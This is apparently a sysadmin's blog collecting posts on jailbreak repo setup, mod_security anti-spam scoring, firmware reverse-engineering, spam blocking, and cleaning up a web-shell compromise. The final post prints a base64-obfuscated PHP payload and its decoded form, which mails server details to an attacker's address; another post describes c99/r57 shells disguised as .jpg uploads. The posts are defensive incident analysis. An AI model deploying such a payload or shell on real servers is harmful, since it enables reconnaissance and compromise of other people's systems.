Normally this isn’t really a big deal (assuming that there is a hack for it), but in this case, it was a little more complex, as he didn’t have working wifi.

PwnageTool has a great feature where you can add Cydia Packages to a custom firmware, so that you can prepackage the firmware already to go.

So, I opened up PwnageTool, added the http://repo666.ultrasn0w.com/ site to the Cydia sources section in advanced, and tried to load in Ultrasn0w.

Life isn’t easy, and it didn’t work.

But why didn’t it work?

I took a look at a working site, and checked out the differences between their package section and Ultrasn0w’s.

Ultrasn0w is hosted on repo666.ultrasn0w.com
While their website doesn’t really tell you much useful information, a bit of googling lead to some info.

The .deb file (debian package file) on their site is at http://repo666.ultrasn0w.com/ultrasn0w.deb

Cydia usually needs stuff in a particular format, so I next checked out how one makes a repository.
This is documented at Saurik’s site here – http://www.saurik.com/id/7

Basically, you throw files into a folder and make a Packages file.

The example given on Saurik’s site is this:

/web/apt/xmpl]# dpkg-scanpackages -m . /dev/null >Packages
** Packages in archive but missing from override file: **
com.saurik.myprogram

Wrote 1 entries to output Packages file.
[root@desktop:/web/apt/xmpl]# bzip2 Packages
[root@desktop:/web/apt/xmpl]# ls -la *
-rw-r--r-- 1 root root 906 2008-07-01 07:48 MyProgram.deb
-rw-r--r-- 1 root root 380 2008-07-01 08:00 Packages.bz2
[root@desktop:/web/apt/xmpl]#

So, it appears we need a Packages.bz2 file.

Being adventurous, I decided to setup my own repo, and stuck the .deb file for Ultrasn0w in there.
Followed the instructions and created the Packages.bz2 file.

Tried again in PwnageTool, and… No go.

Hmm.

Does http://repo666.ultrasn0w.com have a Packages.bz2 file?
Why yes it does.

Take another look at the working one – ahah says my brain.

They point the folder to the _uncompressed_ Packages file.
I guess PwnageTool doesn’t support compressed Package list files.

So, I try that out using an uncompressed file.
Created the Packages file with

dpkg-scanpackages -m . /dev/null >Packages

and try again.

Better – I’m getting a result now with my repo when I click refresh.
However, I can’t seem to be able to download any files…

So, lets take a look at whats happening in my apache logs.


58.37.213.199 - - [07/Mar/2011:20:50:52 +0800] "GET /dists/Packages HTTP/1.1" 200 1643 "-" "PwnageTool/4.2 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (iMac9%2C1)"
58.37.213.199 - - [07/Mar/2011:20:51:06 +0800] "GET /./mobilesubstrate_0.9.3228-1_iphoneos-arm.deb HTTP/1.1" 404 1184 "-" "PwnageTool/4.2 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (iMac9%2C1)"
58.37.213.199 - - [07/Mar/2011:20:51:42 +0800] "GET /./ultrasn0w.deb HTTP/1.1" 404 1164 "-" "PwnageTool/4.2 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (iMac9%2C1)"


Aha! While its successfully found the repo now, its looking for the files in the wrong folder – my repo is in /dists, and its looking in the root folder.

Seems the Saurik instructions are a bit mangled, or the Package generator is a bit silly.
Quick look at the helpfile shows it needs the folder via -m

So I went up a level, and regenerated my file.


cd ..
dpkg-scanpackages -m dists > dists/Packages


Yes, it works!

Now PwnageTool can download my file finally. Yay!

I just need to select it in PwnageTool / Packages as below, and build my ipsw to test.

Now I can finally make my own Ultrasn0w firmware woohoo!
Not as hard as it seems, but not as easy either!

I’ll leave my UltraSn0w repo at http://www.sheed.com/dists/ for now, but will probably move it elsewhere at some point, and update this post. So, if you need it, get it while you can.

Lawrence.

After clearing out the comment table for that clients site, I looked into solutions.

mod_security was an obvious one, and the atomic corp rules seem to be better than the default mod_security ones (which break most popular apps, sigh).  However, although the gotroot rules were good at blocking comment spam, they don’t block the ip’s, so persistent spammer bots will still hammer the server.

So, whats a solution?
Blocking the ip’s dynamically for a short period.
Assuming you have a standard setup, the below should be of interest.

I stick my ruleset into /etc/modsecurity2, so amend your url’s accordingly.

My default initialise code is below (pretty much stock except for the end part)

/etc/modsecurity2/modsecurity_crs_10_config.conf

SecRuleEngine On

 SecRequestBodyAccess On

 SecResponseBodyAccess On

 SecResponseBodyMimeType (null) text/html text/plain text/xml

 SecResponseBodyLimit 2621440

 SecServerSignature Apache

 SecComponentSignature 200911012341

 SecUploadDir /var/asl/data/suspicious

 SecUploadKeepFiles Off

 SecAuditEngine RelevantOnly

 SecAuditLogRelevantStatus "^(?:5|4(?!04))"

 SecAuditLogType Concurrent

 SecAuditLog /var/log/apache2/modsec_audit.log

 SecAuditLogParts ABIFHZ

 SecArgumentSeparator "&"

 SecCookieFormat 0

 SecRequestBodyInMemoryLimit 131072

 SecDataDir /var/asl/data/msa

 SecTmpDir /tmp

 SecAuditLogStorageDir /var/asl/data/audit

 SecResponseBodyLimitAction ProcessPartial

SecPcreMatchLimit 100000

SecPcreMatchLimitRecursion 100000

SecDebugLog /var/log/apache2/modsec_debug.log

SecDebugLogLevel 3

### Ruleset additions for blocking ########################################

# Make sure to clear the default action

SecDefaultAction phase:1,pass

# Initialize collection and deprecate by 3 points per day (86400 seconds)

SecAction phase:1,initcol:IP=%{REMOTE_ADDR},deprecatevar:IP.spam=3/86400,nolog

# If there are already >15 spam points for this IP, then drop

# the connection and add 1 point (instead of 3, as below).

SecRule IP:spam "@gt 15" phase:1,setvar:IP.spam=+1,drop,setenv:spam=spam

# Clear the default action for any mod_security rules later in httpd.conf.

SecDefaultAction phase:1,pass

### End Ruleset additions for blocking ####################################

What does it do?  Basically we keep score of any ip address that visits the site.
Every day any scores depreciate by 3 points per ip.
If any ip scores more than 15 points, we block it.

Now, as it stands, its pretty useless, as we don’t do any scoring.

So, next we’ll need to add some scoring to some of the rules.

In our case, we were getting seriously hammered by pharmacy spam (mostly out of latvia)

So, I went into the default gotroot ruleset that I installed into /etc/modsecurity2

Comment spam is in this file: 30_asl_antispam.conf

I added some scoring there.
In my case, we saw hundreds of thousands of attempts for levitra and tramadol spam, so I went to the pharmacy scoring, and added this:

setvar:IP.spam=+15 in the SecRule check.
This means that any positive lookup for that rule will give the ip a 15 point score.
That will block that attacker ip from the site for 5 days (as we decrement 3 points per day for a given ip).

The setvar needs to go after the “capture,…” part of the rule.

eg

(don’t copy, paste this, you’ll need to add “setvar:IP.spam=+15″ into your existing file)
# Rule 300040:
SecRule ARGS|!ARGS:/domain/|!ARGS:description|!ARGS:redirect_to|!ARGS:setting[banemail]|!ARGS:/username/|!ARGS:/user_name/|!ARGS:/page_content/|!ARGS:/search/|!ARGS:/email/!ARGS:Mensaje|!ARGS:/product/|!ARGS:/domain/|!ARGS:description$
"capture,setvar:IP.spam=+15,id:300040,rev:7,severity:2,msg:'Atomicorp.com - FREE UNSUPPORTED DELAYED FEED - WAF Rules: Spam: Pharmacy',logdata:'%{TX.0}'"

I added this to appropriate places, and watched for our first victim^Mspammer in our site logs.
Bingo – here we have a spammer trying to add to a url on one of our sites:

[23/Dec/2010:11:39:45 +0800] [www.chou.cn/sid#bcf3f338][rid#b339b670][/gallery/papratiti/img_5993.jpg.php][1] Access denied with code 403 (phase 2). Pattern match “(?:buy[-_ ]?(cheap)?[-_ ]?(?:adipex|suboxone|pseudovent|topamax|trazodone|prevacid|zyrtec|xenical|toprol|zoloft…” at ARGS:comment. [file "/etc/modsecurity2/30_asl_antispam.conf"] [line "194"] [id "300061"] [rev "10"] [msg "Atomicorp.com - FREE UNSUPPORTED DELAYED FEED - WAF Rules: Spam: Pharmacy"] [data "xanax"] [severity "CRITICAL"]

[23/Dec/2010:11:43:16 +0800] [www.chou.cn/sid#bcf3f338][rid#bfac9d68][/gallery/papratiti/img_5993.jpg.php][1] Access denied with connection close (phase 1). Operator GT matched 15 at IP:spam. [file "/etc/modsecurity2/modsecurity_crs_10_config.conf"] [line "40"]

Bam, that ip is blocked (for 5 days).  Next time around, as its the first rule to run, it will block immediately without processing other rules.

You can amend the block times by decreasing the increments or scoring as per your requirements.

All in all, this is an easy amendment to make to the gotroot rules, and makes for faster experience for users.
Thanks to http://linux.icydog.net/apache/commentspam.php for his implementation, this is pretty much based off that.

Lawrence

A friend is in town from Beijing, so took him down to the Shanzhai hell (or heaven depending on PoV) that is Qiu Jiang lu.

I wasn’t aware that you could buy Keychain video recorders for 80rmb, but you can. Apparently they’re even cheaper in eBay – although I don’t see how its possible, given that the factories here are pricing higher than they sell for in the States. Rejects?

Anyhow, I bought 2 keychain video camera’s, and an MP3 looking one.

Dissected one and it contains the Anyka AK3651B as the main chip.

The AK36xx series is an SoC (System on a Chip).

As Anyka appears to be deathly afraid of giving out any useful information about their products, I’ve had to piece together info from what I found online.

Their own product page here – http://www.anyka.com/enProShow.asp?sortFlag=110&sortName=Application%20Processor&id=105
says the following:

32-bit Microprocessor Core
Integrated I/D cache
Memory Management Unit (MMU)

Video Coprocessor
MPEG4.SP codec
H.263 codec
Motion JPEG codec

Audio Coprocessor
MP3 decoder
WMA decoder
AAC/AAC+ decoder
AMR codec
Real-time audio stream in PCM/ADPCM format

Image Coprocessor
JPEG HW codec

Glueless Dual LCD Displays
Supporting MPU LCD
Supporting RGB LCD
Programmable LCD size and refreshing rate

Connectivity
USB 2.0 HS OTG
I2S master/slave
UART
SPI
MMC/SD

Embedded ADCs and DACs
SAR ADC for touch panel and voltage detect
Sigma-Delta ADC for microphone
Sigma-Delta DACs for stereo

Built-in Power Amplifier/Headphone Driver

External Memory Support
Supporting SDRAM
Supporting Nand Flash (SLC/MLC, with hardware ECC)

Package
LQFP 128-pin/144-pin，FBGA 100-pin/144-pin

Appears that they’re mostly used in MP3/MP4 players, which is why most of my googling on specs was ruined by whiny users asking for someone to please help them with their foobar’d player.

The first useful links on these are at Chuck’s pages here – http://www.chucklohr.com/808/

He’s done a lot of useful work collating information, although some of his deductions are a little strange, so take some things with a pinch of salt. Lots of good info though.

The main source of info on the hardware side is at http://www.readerme.com, they have a most excellent section of downloads which provide more information on the chips than anything else out there!

We gave them a call and had a chat (one of the benefits of being located in China, is that we obviously speak Chinese in the office!).
They don’t speak great Mandarin though – so it was bad cantonesedarin or Mandonese? Hmm, have to come up with a word for that! (similar to Chinglish but mixing Cantonese and Mandarin).

Both sides were laughing but we could at least talk to each other. “Mo man tai, dui ma?”

They actually don’t sell products, they only do design work for others, but, thats good to know.
They did point us in the direction of a few trading companies that could do FOB export, but shipping quantities are in the x,000′s so not so useful yet.

I’ll see if I can find the actual factories making these tomorrow. (Although when I say we, I mean the staff).
They did prove to be an excellent source of data on the chips though if one takes a look at the PDF’s on their site.

The golden data trove is here – http://www.readerme.com/html/html/%E7%9B%B8%E5%85%B3%E4%BA%A7%E5%93%81%E5%8E%9F%E7%90%86%E5%9B%BE%EF%BC%8C%E8%B4%B4%E7%89%87%E5%9B%BE.html

According to Anyka (安凯 in Chinese) the 36xx chips are a series, so they should have similar functionality.

While I don’t have data sheets, or a BSP, I can read the PDF’s at least to get an idea of where things are laid out.

AK3631B

AK3651B

They do look similar, so probably only minor differences in functionality (probably the newer ones are cheaper?).
Again, hard to check, as Anyka datasheets appear to be hens teeth.

I may give them a call also, and see if they’ll be willing to give us some info about their products, but I’m not holding my breath on that one.

I’ve also poked around a bit in the firmware files using strings, and taking a look at headers, and have come up with some preliminary conclusions.

I’m guessing their SoC is ARM5 based, given what i have found (haven’t decompiled yet, but looks like that).

Some common strings in the firmware’s from start:

00000 06 00 00 EA FE FF FF EA

Googling “06 00 00 EA FE FF FF EA” comes up with some other people talking about firmware for pxa312 devices, which have exactly that in their boot loader, so, seems likely.

The PXA312 is ARMv5TE…

I’m guessing some playing around with radare (http://radare.nopcode.org/get/radare.pdf.html) should get some more info about whats going on.

Running strings on the firmware files available shows interesting info:

strings /Documents/Keychain\ Camera/cx311V2.04/Spiboot_36XX.bin
ANYKA362
6KA49
start read cfg
file cnt:%d
file name:%s
Cannot find BIOS
read file info fail
load bios ……
map:%d
file len:%d
ld addr:0x%x
Load bios from spiflash successfuly!
read BIOS fail
spi boot start
system clock: %d
BIOS

Thats our 4k bootloader, which obviously loads our 1M bios image from SPI flash memory (SPI = Serial Peripheral Interface)
More on SPI here.
http://en.wikipedia.org/wiki/Serial_Peripheral_Interface_Bus

Hmm, more reasons for me to get a Bus Pirate now…

We have a flasher also, although its Windows based.
I’m guessing some USB sniffing will lead to some magic byte handshake sequence to get into the bootloader via USB, as the BIOS strings point to that.

eg:

“The setup packet is not 8 byte!”

Also amusing is that its fairly easy to find the FAT32 code embedded in at least one of the firmwares

EB xx 90 … -> 55 AA (in Sprint1M.bin)

The flasher tool is also nice enough to give us an idea of layout in the 1M flash chip.

You’ll need to install the Anyka M3 USB driver to talk to the chip, which appears to have the following attributes via USB:
Vendor ID: 0471
Product ID: 0666 (the product of the beast? hehe)

This is a bit naughty, as 0471 is in theory already taken by Philips (or NXP) according to http://www.linux-usb.org/usb.ids

Its also astoundingly obvious that they used driverworks to make the driver. (From the oh so copied in China vid/pid, and the strings left in the driver). An example of this here http://www.baiheee.com/OpenSource/Easy%20USB%2051%20Programer/Easy%20USB%2051%20Programer_DriveOurBoard.htm

Want to bet someone read those instructions and its been repeated ad nauseum?
Sadly, its so easy to see the minimal effort that’s gone into things.

Back to our flasher, it says that our 1M chip is laid out as follows:

###Project Name
project name = chaoxian

###Devie Number
device channel = 8

###COM
com bOpen = 0
com base = 1
com count = 1
com baud rate = 38400

path producer sundance2 = producer_sundance2.bin
path producer sundance2A uboot = producer_sundance2A_uboot.bin
path producer sundance2A umass = producer_sundance2A_umass.bin
path nandboot sundance2= Spiboot_36XX.bin
path nandboot sundance2A= Spiboot_36XX.bin

bios run addr = 0×30500000
bios start addr = 0xc0000
bios end addr = 0x1c0000
bios backup start addr = 0x1c0000
bios backup end addr = 0x2c0000

chip type = AK_3225
chip uboot = 1
chip power off gpio = 255
chip usb2 = 0
chip get aid = 0
chip update = 0
chip select loop = 1
chip select nand0 = 1
chip select nand1 = 1
chip select nand2 = 1
chip select nand3 = 1
chip gpio_ce2 = 255
chip gpio_ce3 = 255

ram size = 8
ram row = 12
ram column = 8
ram bank = 4

moduleburn DownloadMode = 2
moduleburn bDownloadFLS = 1
moduleburn bDownloadEEP = 1
moduleburn baudrate = 921600
moduleburn gpio_dtr = 85
moduleburn gpio_module_igt = 109
moduleburn gpio_module_reset = 87
moduleburn path_fls = LCG2.fls
moduleburn path_eep = LCG2.eep

fs start addr = 0x6c0000
fs reserver block = 64
fs nonfs reserve size = 4

partition count = 0

download_to_udisk count = 0

download_to_nand count = 3
download_to_nand1 = 0, Spring1M_bios.bin, 0×30500000, BIOS
download_to_nand2 = 0, Spring.bin, 0×30000000, MMI
download_to_nand3 = 0, AkResData.Bin, 0×0, RES

download_to_mtd count = 0

nand supported count = 0

If we take a look at that, our Spring1M_bios.bin starts off at C000
(bios start addr = 0xc0000)
(Deduct a 0 as we’re not offset by 0×300000000)

A look in a hex editor at that position shows:

Note the 32bit word value – 0xE1A0C00D

Thats classic ARM, so we _know_ its arm based…

romStart [0xe1a0c00d] mov r12,r13

Our next line of code is exactly the same as listed here http://code.google.com/p/milestone-overclock/wiki/Disassembly

e1a0c00d mov ip, sp
e92dd8f0 push {r4, r5, r6, r7, fp, ip, lr, pc}

So its looking like we can basically disassemble the code using arm-none-linux-gnueabi-objdump

I’ll leave that for another day, but with a bit more work we could compile our own code for this as we now have a good idea of the target cpu.

The next step would be to get into the bootloader or debug mode via USB, and see what can be seen.

Tools used:

0xED – http://www.suavetech.com/0xed/0xed.html
A nice fast and compact hex viewer for OSX.

strings – built into most *nix based systems.

Grey matter – Available to all, unused by many

Now hopefully I can get back to the Webcam firmware stuff as I’ve been promising to do.

A check of the logs showed that we’ve received at least 100,000 of these spam mails over the last month that have gotten through to our users.
This is something I’d obviously like to remedy.  Not receiving, processing, or storing that much spam free’s up the servers for other things.

As the number of valid addresses using @live.com accounts appears to be minimal (I could only see a handful of legitimate users sending from that domain), I have taken the decision to block any email from the @live.com domain until Microsoft can resolve their spam issues.

If you do have clients using @live.com addresses, you will be able to send email to them, but not receive from them.
We apologize for the inconvenience, but unfortunately there is no other solution that easily mitigates the issue, other than completely blocking them.

For a more technical explanation of whats happening, read below:

This is a header from a sample spam email from a live.com address.
As you can see below, the header shows that it passes an SPF check – meaning that the sending email server was verified to be a microsoft one.
That means that the sender also passes our greylist and SPF checks, as Hotmail is a valid sender (for most of the time!).

Return-Path: <lourdesuxanbirr1980@live.com>
Delivered-To: XXXX
Received: (qmail 3070 invoked from network); 20 Apr 2009 11:53:37 +0800
DomainKey-Status: no signature
Received: from blu0-omc2-s16.blu0.hotmail.com (65.55.111.91)
by mail.computersolutions.cn with SMTP; 20 Apr 2009 11:53:37 +0800
Received-SPF: pass (mail.computersolutions.cn: SPF record at spf-a.hotmail.com designates 65.55.111.91 as permitted sender)
Received: from BLU128-W5 ([65.55.111.72]) by blu0-omc2-s16.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.3959);
Sun, 19 Apr 2009 20:54:11 -0700
Message-ID: <BLU128-W51B2E2DECCF46C5980E74DC760@phx.gbl>
Return-Path: lourdesuxanbirr1980@live.com
X-Originating-IP: [201.150.66.6]
From: Lourdes Browne <Lourdesuxanbirr1980@live.com>
Sender: <lourdesuxanbirr1980@live.com>
To: XXXXX
Subject: Hi! This is Muriel. Young girls in action with animals.
Date: Mon, 20 Apr 2009 03:54:11 +0000
Importance: Normal
Content-Type: text/plain; charset=”iso-8859-1″
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginalArrivalTime: 20 Apr 2009 03:54:11.0766 (UTC) FILETIME=[AA2F5560:01C9C16B]

As the sender is a legitimate hotmail / live account “lourdesuxanbirr1980@live.com” (albeit a garbage generated name), its probable that the sender is generated from a script.

A check on google reveals that the live.com captcha system has been cracked, and is being abused by botnets to send spam.

http://arstechnica.com/security/news/2008/04/gone-in-60-seconds-spambot-cracks-livehotmail-captcha.ars

This probably explains the sudden flood of spam coming from @live.com addresses, although its a bit strange that we didn’t see this sooner!
Hopefully they’ll resolve it soon, so we can unblock them.

In this clients case, they have their own server (which we maintain), and they mostly write their own code.
Most of the common garden variety vulnerability scans don’t work on their server, because they write their own code, although in this case it didn’t save them from being exploited.

In order to find out what was causing the spamming, I had to find out how the attackers got in.
Usually this means a check of the apache logs to check for anything untoward.

In this case, although the logs had plenty of vulnerability scans (which were to files that don’t exist on their server), I couldn’t see anything in the logs that immediately stuck out as being the cause.

Thinking that they might be sneaky, I decided to check if any files on the server had anything interesting in them. PHP has a few functions that are a little dangerous, most of these are system related – you can execute other software on the system using them.

As pretty much all the code on this server is php based, I went a little deeper, and did a filesystem scan of some common php system calls to see if anything popped out.

In unix, this is pretty easy

grep shell_exec * -R

A few seconds later, this popped up as a result.

/userpix/1216256595.jpg

Hmm, a jpg file containing shell_exec?
Seems strange.

A quick check of the file in a text editor showed that it was actually a shell script that contained the c99shell.
I soon found another script in that folder with a .jpg extension that contained the r57shell.

Both these scripts allowed for remote pseudo shell access to the server, as well as attempts to further hack the server using common vulnerabilities. They are both quite comprehensive in what they do, and are worthy of further dissection at a later date.

I removed the 2 files (after making copies for further analysis), and let the client know.
A check of the logs revealed that calls were indeed being made to those files.

Sneaky!

Turns out that the client was using a common upload library, and it appears that this had an upload vulnerability.
I advised them to do better error checking, update that library, and installed some additional features for them in their server.

PHP has an extension called FileInfo, which can check files to see if they’re actually what they say they are.
Its not perfect, but it does add a degree of safety for situations like this where things get abused.

Even so, you still need to avoid using FileInfo for checking gif files, as it pretty much assumes any file starting in GIF is a gif.

Sample code to safely check for gif below.

if (!$img = @imagecreatefromgif($uploadedfilename)) {
trigger_error('Not a GIF image!',E_USER_WARNING);
// do necessary stuff
}

Back to FileInfo. The typical way to install Pear extensions is

pecl install

In this case “pecl install FileInfo” wasn’t working, because we set /tmp as non executable for safety reasons.


pecl install Fileinfo
3 source files, building
running: phpize
Configuring for:
PHP Api Version: 20041225
Zend Module Api No: 20060613
Zend Extension Api No: 220060519
/usr/bin/phpize: /tmp/pear/cache/Fileinfo-1.0.4/build/shtool: /bin/sh: bad interpreter: Permission denied
Cannot find autoconf. Please check your autoconf installation and the $PHP_AUTOCONF
environment variable is set correctly and then rerun this script.

ERROR: `phpize' failed

So, we had to install it manually, sigh.

Manual installation of pecl files is simple, although undocumented.

Go to the download folder:
cd /tmp/pear/cache/

Move the file to a different folder with execute permissions
cp Fileinfo-1.0.4.tgz /downloads
cd /downloads

Extract, and install

tar -zxf Fileinfo-1.0.4.tgz
cd Fileinfo-1.0.4
phpize
./configure
make
make install

We also had to add extension=fileinfo.so to our /etc/php5/apache2/php.ini file.

Conclusions for us –

Luckily, they didn’t manage to do any damage except for send mass email.
Tripwire and Tiger (two IDS programs we use) showed that none of the system files on their server were compromised.

We’re planning to further tighten their system with a PHP Hardener called Suhosin, although this depends on their scripts being compatible. We’re currently trialing a Suhosin install with logging enabled to see what may break when its fully enabled.

We use Suhosin on a most of our servers already.
Ironically we had been talking about it with that client when they got hacked!

For the most part, most of the exploits I covered in yesterdays post are common garden php vulnerability scans.
Some of them are more interesting though, although more for being encrypted, than anything else.

If I take an example from our log files:

http://www.easy-dizzy.de/joomla/administrator/includes/js/ThemeOffice/copyright.txt

This returns an encrypted string.
Its fairly easy to see whats been returned in that, merely by changing the eval to an echo.

//Edited slightly for width purposes
$lmge = "JGNyZWF0b3I9YmFzZTY0X2RlY29kZSgiWm5Jek0zTm9NMnhzUUdkdFlXb".
"HNMbU52YlE9PSIpOw0KKCRzYWZlX21vZGUpPygkc2FmZXo9".
"Ik9OIik6KCRzYWZlej0iT0ZGX0hFSEUiKTsNCiRiYXNlPSJodHRw".
"Oi8vIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1JFU".
"VVFU1RfVVJJJ107IA0KJG5hbWUgPSBwaHBfdW5hbWUoKTsgJGl".
"wID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpOyAkaXAyID0gZ2V0".
"aG9zdGJ5YWRkcigkX1NFUlZFUltSRU1PVEVfQUREUl0pOyAkc3V".
"iaiA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsgDQokbXNnID0gIl".
"xuQkFTRTogJGJhc2VcbnVuYW1lIGE6ICRuYW1lXG5CeXBhc3M6".
"ICRieXBhc3NlclxuSVA6ICRpcFxuSG9zdDogJGlwMiAkcHdkcyI7D".
"QokZnJvbSA9IkZyb206ICIuJHdyaXQuIl9fXz0iLiRzYWZlei4iPHRv".
"b2xAIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIj4iOw0KbWFpbCgg".
"JGNyZWF0b3IsICRzdWJqLCAkbXNnLCAkZn JvbSk7"; 

//eval(base64_decode($lmge));

//To stop execution, and merely see the script contents we echo it, instead of eval..
echo (base64_decode($lmge));
exit;

This returns this:

$creator=base64_decode("ZnIzM3NoM2xsQGdtYWlsLmNvbQ=="); 

($safe_mode)?($safez="ON"):($safez="OFF_HEHE");
$base="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$name = php_uname(); $ip = getenv("REMOTE_ADDR"); $ip2 = gethostbyaddr($_SERVER[REMOTE_ADDR]); $subj = $_SERVER['HTTP_HOST'];
$msg = "\nBASE: $base\nuname a: $name\nBypass: $bypasser\nIP: $ip\nHost: $ip2 $pwds";
$from ="From: ".$writ."___=".$safez."<tool@".$_SERVER['HTTP_HOST'].">";
mail( $creator, $subj, $msg, $from);

So in this case we can see the attacker wants us to email him our server details, what url worked for the exploit, and a few various php details.

If we look at the email account he wants to email to we can see its a google account.

echo base64_decode("ZnIzM3NoM2xsQGdtYWlsLmNvbQ==");   //returns fr33sh3ll@gmail.com

Google has been notified about that account.
All in all, slightly more interesting than the usual!